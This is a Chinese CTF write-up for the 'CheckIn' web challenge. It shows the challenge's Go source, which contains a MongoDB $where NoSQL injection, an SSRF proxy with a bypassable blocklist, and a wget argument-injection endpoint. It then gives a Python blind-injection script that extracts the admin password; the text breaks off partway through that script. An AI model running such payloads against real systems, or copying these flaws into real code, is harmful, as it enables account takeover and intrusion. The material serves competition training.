大家还记得上此次的陇原战役比赛么?今天给大家分享一下上次比赛的Web题目WriteUP!!
Web
CheckIn
审计源码:
package main import ( "fmt" "io" "time" "bytes" "regexp" "os/exec" "plugin" "gopkg.in/mgo.v2" "gopkg.in/mgo.v2/bson" "github.com/gin-contrib/sessions" "github.com/gin-gonic/gin" "github.com/gin-contrib/sessions/cookie" "github.com/gin-contrib/multitemplate" "net/http" ) type Url struct { Url string `json:"url" binding:"required"` } type User struct { Username string Password string } const MOGODB_URI = "127.0.0.1:27017" func MiddleWare() gin.HandlerFunc { return func(c *gin.Context) { session := sessions.Default(c) if session.Get("username") == nil || session.Get("password") != os.Getenv("ADMIN_PASS") { c.Header("Content-Type", "text/html; charset=utf-8") c.String(200, "<script>alert('You are not admin!');window.location.href='/login'</script>") return } c.Next() } } func loginController(c *gin.Context) { session := sessions.Default(c) if session.Get("username") != nil { c.Redirect(http.StatusFound, "/home") return } username := c.PostForm("username") password := c.PostForm("password") if username == "" || password == "" { c.Header("Content-Type", "text/html; charset=utf-8") c.String(200, "<script>alert('The username or password is empty');window.location.href='/login'</script>") return } conn, err := mgo.Dial(MOGODB_URI) if err != nil { panic(err) } defer conn.Close() conn.SetMode(mgo.Monotonic, true) db_table := conn.DB("ctf").C("users") result := User{} err = db_table.Find(bson.M{"$where":"function() {if(this.username == '"+username+"' && this.password == '"+password+"') {return true;}}"}).One(&result) if result.Username == "" { c.Header("Content-Type", "text/html; charset=utf-8") c.String(200, "<script>alert('Login Failed!');window.location.href='/login'</script>") return } if username == result.Username || password == result.Password { session.Set("username", username) session.Set("password", password) session.Save() c.Redirect(http.StatusFound, "/home") return } else { c.Header("Content-Type", "text/html; charset=utf-8") c.String(200, "<script>alert('Pretend you logged in successfully');window.location.href='/login'</script>") return } } func proxyController(c *gin.Context) { var url Url if err := c.ShouldBindJSON(&url); err != nil { c.JSON(500, gin.H{"msg": err}) return } re := regexp.MustCompile("127.0.0.1|0.0.0.0|06433|0x|0177|localhost|ffff") if re.MatchString(url.Url) { c.JSON(403, gin.H{"msg": "Url Forbidden"}) return } client := &http.Client{Timeout: 2 * time.Second} resp, err := client.Get(url.Url) if err != nil { c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) return } defer resp.Body.Close() var buffer [512]byte result := bytes.NewBuffer(nil) for { n, err := resp.Body.Read(buffer[0:]) result.Write(buffer[0:n]) if err != nil && err == io.EOF { break } else if err != nil { c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) return } } c.JSON(http.StatusOK, gin.H{"data": result.String()}) } func getController(c *gin.Context) { cmd := exec.Command("/bin/wget", c.QueryArray("argv")[1:]...) err := cmd.Run() if err != nil { fmt.Println("error: ", err) } c.String(http.StatusOK, "Nothing") } func createMyRender() multitemplate.Renderer { r := multitemplate.NewRenderer() r.AddFromFiles("login", "templates/layouts/base.tmpl", "templates/layouts/login.tmpl") r.AddFromFiles("home", "templates/layouts/home.tmpl", "templates/layouts/home.tmpl") return r } func main() { router := gin.Default() router.Static("/static", "./static") p, err := plugin.Open("sess_init.so") if err != nil { panic(err) } f, err := p.Lookup("Sessinit") if err != nil { panic(err) } key := f.(func() string)() storage := cookie.NewStore([]byte(key)) router.Use(sessions.Sessions("mysession", storage)) router.HTMLRender = createMyRender() router.MaxMultipartMemory = 8 << 20 router.GET("/", func(c *gin.Context) { session := sessions.Default(c) if session.Get("username") != nil { c.Redirect(http.StatusFound, "/home") return } else { c.Redirect(http.StatusFound, "/login") return } }) router.GET("/login", func(c *gin.Context) { session := sessions.Default(c) if session.Get("username") != nil { c.Redirect(http.StatusFound, "/home") return } c.HTML(200, "login", gin.H{ "title": "CheckIn", }) }) router.GET("/home", MiddleWare(), func(c *gin.Context) { c.HTML(200, "home", gin.H{ "title": "CheckIn", }) }) router.POST("/proxy", MiddleWare(), proxyController) router.GET("/wget", getController) router.POST("/login", loginController) _ = router.Run("0.0.0.0:8080") // listen and serve on 0.0.0.0:8080
审计源码我们可知,存在nosql注入,编写脚本盲注admin的密码:
import requests url = "http://47.117.125.220:8081/login" headers = { "Content-Type": "application/x-www-form-urlencoded" } strings = "1234567890abcdefghijklmnopqrstuvwxyz" res = "" for i in range(len(res) + 1, 40): if len(res) == i - 1: for c in strings: data = { "username": "admin'&&this.password.substr(-" + str(i) + ")=='" + str(c + res) + "') {return true;}})//", "password": "123456" } r = requests.post(url=url, headers=headers, data=data) if "Pretend&#